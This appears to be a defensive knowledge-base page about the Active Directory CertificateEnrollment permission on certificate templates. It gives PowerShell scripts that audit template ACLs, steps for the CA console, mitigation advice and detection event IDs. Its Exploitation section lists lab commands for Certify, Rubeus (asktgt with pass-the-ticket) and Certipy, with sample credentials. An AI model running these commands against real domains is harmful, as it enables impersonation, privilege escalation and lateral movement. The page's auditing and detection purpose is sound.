CertificateEnrollment
Summary
FSProtect ACL Alias
CertificateEnrollment
Affected Object Types
Certificate Templates
Exploitation Certainty
Certain
AD Permission Guid
0e10c968-78fb-11d2-90d4-00c04f79dc55
Description
The CertificateEnrollment
permission in Active Directory allows an account to request and enroll for digital certificates from an Enterprise Certification Authority (CA). This permission is essential for establishing secure authentication and encrypted communications across the network. Certificates are used to validate identities, secure email communication, enable VPN access, and support code signing. By automating the certificate enrollment process, administrators can ensure that both users and devices receive the appropriate credentials necessary for maintaining a robust Public Key Infrastructure (PKI).
However, if misconfigured or granted to untrusted accounts, the CertificateEnrollment
permission can introduce significant security risks. An attacker who obtains this permission may enroll for certificates without proper authorization, thereby acquiring valid, trusted credentials that can be used to impersonate network services. This can enable man-in-the-middle attacks, signing of malicious code, or decryption of confidential communications. Unauthorized certificates can be used to bypass security controls, escalate privileges, and maintain persistent access within the network.
Identification
PowerShell
Active Directory Module
Using the Active Directory PowerShell module, you can enumerate objects that have the CertificateEnrollment
permission.
1. Find-CertificateEnrollment function
function Find-CertificateEnrollment {
[CmdletBinding()]
param ( [string]$Target = $null,[string]$SearchBase = $null,[string]$OutputPath = "CertificateEnrollment.csv", [switch]$ExcludeAdmins = $false)
Import-Module ActiveDirectory -ErrorAction Stop
Write-Host "Gathering Active Directory Certificate Templates and inspecting ACLs for explicit 'Certificate Enrollment' permissions..."
# Access control type (Allow)
$AccessControlType = [System.Security.AccessControl.AccessControlType]::Allow;
# Active Directory Rights of Access Control Entry (ExtendedRight)
$ActiveDirectoryRights = [System.DirectoryServices.ActiveDirectoryRights]::ExtendedRight;
# GUID of Certificate Enrollment permission
$CertificateEnrollmentGuid = "0e10c968-78fb-11d2-90d4-00c04f79dc55";
$ExcludedSIDs = @()
if ($ExcludeAdmins) {
$ExcludedSIDs += (New-Object System.Security.Principal.NTAccount "NT AUTHORITY\SYSTEM").Translate([System.Security.Principal.SecurityIdentifier]), (New-Object System.Security.Principal.NTAccount "NT AUTHORITY\SELF").Translate([System.Security.Principal.SecurityIdentifier]), (New-Object System.Security.Principal.NTAccount "BUILTIN\Account Operators").Translate([System.Security.Principal.SecurityIdentifier]), (New-Object System.Security.Principal.NTAccount "BUILTIN\Administrators").Translate([System.Security.Principal.SecurityIdentifier]), (New-Object System.Security.Principal.NTAccount "NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS").Translate([System.Security.Principal.SecurityIdentifier])
try {
$ExcludedSIDs += (Get-ADGroup -Identity "Domain Admins").SID; $ExcludedSIDs += (Get-ADGroup -Identity "Enterprise Admins").SID
$ExcludedSIDs += (Get-ADGroup -Identity "Schema Admins").SID; $ExcludedSIDs += (Get-ADGroup -Identity "Cert Publishers").SID
$ExcludedSIDs += (Get-ADGroup -Identity "Group Policy Creator Owners").SID ;$ExcludedSIDs += (Get-ADGroup -Identity "Domain Controllers").SID
$ExcludedSIDs += (Get-ADGroup -Identity "Key Admins").SID ;$ExcludedSIDs += (Get-ADGroup -Identity "Enterprise Key Admins").SID
$ExcludedSIDs += (Get-ADGroup -Identity "DnsAdmins").SID; $ExcludedSIDs += (Get-ADGroup -Identity "RAS and IAS Servers").SID
}
catch { Write-Warning "Could not resolve one or more default domain admin groups (e.g., Domain Admins, Enterprise Admins, Schema Admins). They might not be filtered from results." }
}
$foundAcls = @()
$objectsToScan = @()
try {
if ($Target) {
Write-Host "Searching for permissions on specific object: '$Target'."
$specificObject = Get-ADObject -Identity $Target -Properties nTSecurityDescriptor -ErrorAction Stop
if ($specificObject) {
$objectsToScan += $specificObject
} else {
Write-Output "Object '$Target' not found."
return
}
} else {
$configNC = (Get-ADRootDSE).ConfigurationNamingContext
$adObjectParams = @{
Filter = "ObjectClass -eq 'pKICertificateTemplate'"
Properties = "nTSecurityDescriptor"
ErrorAction = "Stop"
}
if ($SearchBase) {
$adObjectParams.Add("SearchBase", $SearchBase)
Write-Host "Searching for certificate templates within '$SearchBase'."
} else {
$adObjectParams.Add("SearchBase", $configNC)
Write-Host "Searching for all certificate templates in the Configuration Naming Context."
}
$objectsToScan = Get-ADObject @adObjectParams
}
if (-not $objectsToScan) {
Write-Output "No Active Directory Certificate Templates found matching the criteria."
return
}
foreach ($obj in $objectsToScan) {
$ObjectDistinguishedName = $obj.DistinguishedName;
try {
$acl = Get-Acl -Path "AD:$ObjectDistinguishedName"
foreach ($ace in $acl.Access) {
$isExcluded = $false
if ($ExcludeAdmins) {
try {
if ($ExcludedSIDs -contains $ace.IdentityReference.Translate([System.Security.Principal.SecurityIdentifier])) {
$isExcluded = $true
}
}
catch {
Write-Warning "Could not translate SID for exclusion check: $($ace.IdentityReference.Value). Error: $($_.Exception.Message)"
}
}
if ($ace.AccessControlType -eq $AccessControlType -and
($ace.ActiveDirectoryRights -band $ActiveDirectoryRights) -and # Use -band for bitwise comparison
($ace.ObjectType -eq $CertificateEnrollmentGuid) -and
-not $ace.IsInherited -and
-not $isExcluded) { # Apply exclusion filter
# Add the found entry to the results array
$foundAcls += [PSCustomObject]@{
'Vulnerable Template' = $ObjectDistinguishedName
'Internal Threat' = $ace.IdentityReference.Value # Get the string representation
}
}
}
}
catch { Write-Warning "Could not retrieve ACL for '$ObjectDistinguishedName': $($_.Exception.Message)" }
}
}
catch {
Write-Error "Failed to retrieve Active Directory Certificate Templates: $($_.Exception.Message)"
return
}
if ($foundAcls.Count -gt 0) {
$exclusionMessage = if ($ExcludeAdmins) { " (excluding default admin groups and built-in accounts)" } else { "" }
Write-Host "Found $($foundAcls.Count) Active Directory certificate template(s) with explicit 'Certificate Enrollment' permissions$exclusionMessage."
try {
$foundAcls | Sort-Object -Unique 'Vulnerable Template', 'Internal Threat' | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8
Write-Output "Results exported successfully to '$OutputPath'"
}
catch {
Write-Error "Failed to export results to CSV file '$OutputPath': $($_.Exception.Message)"
}
} else {
$exclusionMessage = if ($ExcludeAdmins) { " (excluding default admin groups and built-in accounts)" } else { "" }
Write-Output "No Active Directory certificate template(s) found with explicit 'Certificate Enrollment' permissions$exclusionMessage."
}
}
2. Scan all templates in the domain
Find-CertificateEnrollment
3. Scan a specific template
Find-CertificateEnrollment -Target "CN=User,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=forestall,DC=labs"
4. To exclude default admin ACLs to improve visibility
Find-CertificateEnrollment -ExcludeAdmins
.NET Directory Services
You can also enumerate CertificateEnrollment
entries using PowerShell's .NET System.DirectoryServices
APIs without the Active Directory module.
1. Find-CertificateEnrollmentSimple function
function Find-CertificateEnrollmentSimple {
[CmdletBinding()]
param ([string]$Target = $null,[string]$SearchBase = $null,[string]$OutputPath = "CertificateEnrollment.csv",[switch]$ExcludeAdmins = $false)
$CertificateEnrollmentGuid = [guid]"0e10c968-78fb-11d2-90d4-00c04f79dc55"
$ExtendedRight = [System.DirectoryServices.ActiveDirectoryRights]::ExtendedRight
$Allow = [System.Security.AccessControl.AccessControlType]::Allow
$excludedSIDs = @()
if ($ExcludeAdmins) {
Write-Verbose "Resolving SIDs for exclusion..."
$accountsToExclude = @(
"NT AUTHORITY\SYSTEM", "NT AUTHORITY\SELF","BUILTIN\Account Operators", "BUILTIN\Administrators","NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS","Domain Admins","Enterprise Admins", "Schema Admins","Cert Publishers",
"Group Policy Creator Owners", "Domain Controllers", "Key Admins", "Enterprise Key Admins", "Enterprise Read-only Domain Controllers","RAS and IAS Servers")
foreach ($name in $accountsToExclude) {
try {
$sid = (New-Object System.Security.Principal.NTAccount($name)).Translate([System.Security.Principal.SecurityIdentifier])
$excludedSIDs += $sid
}
catch { Write-Warning "Failed to translate SID for $name" }
}
}
$templates = @()
if ($Target) {
Write-Verbose "Binding directly to target object: $Target"
try {
$templates = @([ADSI]"LDAP://$Target")
} catch {
Write-Error "Failed to bind to $Target : $_"
return
}
}
else {
$root = [ADSI]"LDAP://RootDSE"
$configNC = $root.Properties["configurationNamingContext"][0]
$searchBase = if ($SearchBase) { "LDAP://$SearchBase" } else { "LDAP://$configNC" }
$searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$searchBase)
$searcher.Filter = "(objectClass=pKICertificateTemplate)"
$searcher.PageSize = 500
$searcher.PropertiesToLoad.Add("distinguishedName") | Out-Null
$results = $searcher.FindAll()
foreach ($res in $results) {
try {
$entry = $res.GetDirectoryEntry()
$templates += $entry
}
catch { Write-Warning "Could not bind to entry: $_" }
}
}
$found = @()
foreach ($template in $templates) {
$dn = $template.Properties["distinguishedName"][0]
Write-Verbose "Processing: $dn"
try {
$acl = $template.ObjectSecurity
$aces = $acl.GetAccessRules($true, $true, [System.Security.Principal.SecurityIdentifier])
} catch {
Write-Warning "Failed to get ACL from $dn"
continue
}
foreach ($ace in $aces) {
if (
$ace.AccessControlType -eq $Allow -and
($ace.ActiveDirectoryRights -band $ExtendedRight) -and
$ace.ObjectType -eq $CertificateEnrollmentGuid -and
-not $ace.IsInherited
) {
if ($ExcludeAdmins -and ($excludedSIDs -contains $ace.IdentityReference)) {
continue
}
$who = try { $ace.IdentityReference.Translate([System.Security.Principal.NTAccount]).Value } catch { $ace.IdentityReference.Value}
$found += [PSCustomObject]@{
'Vulnerable Template' = $dn
'Internal Threat' = $who
}
}
}
}
if ($found.Count -gt 0) {
$found | Sort-Object -Unique 'Vulnerable Template', 'Internal Threat' | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8
Write-Host "Exported $($found.Count) entr$(if($found.Count -eq 1){'y'}else{'ies'}) to $OutputPath"
} else { Write-Host "No certificate templates with 'Certificate Enrollment' rights found."}
}
2. Scan all templates in the domain
Find-CertificateEnrollmentSimple
3. Scan a specific template in the domain
Find-CertificateEnrollmentSimple -Target "CN=Workstation,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=forestall,DC=labs"
4. To exclude default admin accounts for better visibility
Find-CertificateEnrollmentSimple -ExcludeAdmins
Certification Authority (GUI)
To review or change certificate template permissions using the Certification Authority management console:
1. Open Certification Authority (certsrv)
on your Windows server.
2. Expand the CA and right-click Certificate
Templates".
3. Select Manage
from the context menu.
4. In the Certificate Templates console, double-click the template you want to inspect.
5. In the template Properties dialog, go to the Security
tab.
6. Select the ACE (user or group) you want to modify.
7. In the permissions list, check or uncheck the Enroll
option as appropriate.
8. Click OK to save your changes.

Exploitation
This permission can be exploited on Windows with tools such as Certify and Rubeus, and on Linux with tools such as Certipy. See the tool project pages for their usage and options: Certify, Rubeus, Certipy.
Windows
An attacker with the appropriate CertificateEnrollment
permission can request a certificate using Certify:
.\Certify.exe request /ca:<CA DNS Name>\<CA Name> /template:<Vulnerable Template>
Example:
.\Certify.exe request /ca:sdca01.fslab.local\forestallCA /template:User
After obtaining a certificate, an attacker may convert it to PFX and request a TGT.
openssl.exe pkcs12 -in <Pem file> -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out .\cert.pfx
Example:
openssl.exe pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out .\cert.pfx
Then, using Rubeus, an attacker can request a TGT with the certificate and optionally pass-the-ticket (PTT):
.\Rubeus.exe asktgt /user:<Username> /certificate:cert.pfx /ptt
Example:
.\Rubeus.exe asktgt /user:elena.davis /certificate:cert.pfx /ptt
Rubeus outputs the TGT (typically in .kirbi format) which can then be used for lateral movement or persistence.
Linux
On Linux, an attacker can request a certificate and produce a PFX using Certipy. Example:
certipy req -ca forestallCA -target sdca01.fslab.local -dc-ip 192.168.231.61 -template "User" -username '[email protected]' -p 'Test123.!'

Mitigation
1. Review certificate template permissions and remove the "Enroll" permission from unauthorized users and groups.
2. Use least-privilege principles when assigning the CertificateEnrollment
permission.
3. Restrict who can manage certificate templates (Domain Admins, Cert Publishers, and other required roles only).
4. Monitor changes to ntSecurityDescriptor and template permissions (see Detection below).
To change permissions using the Certification Authority console, follow the steps in the "Certification Authority (GUI)" section above.

Detection
Adding or modifying Access Control Entries (ACEs) on Active Directory objects changes their ntSecurityDescriptor
attribute. These changes and certificate requests can be monitored using the following events:
5136
A directory service object was modified.
ntSecurityDescriptor
https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136
4662
An operation was performed on an object.
AccessList, AccessMask
https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662
4886
Certificate Services received a certificate request.
CertificateTemplate, Requester
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn319076(v=ws.11)
4887
Certificate Services approved a certificate request and issued a certificate.
CertificateTemplate, Requester
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn319076(v=ws.11)
References
Last updated
Was this helpful?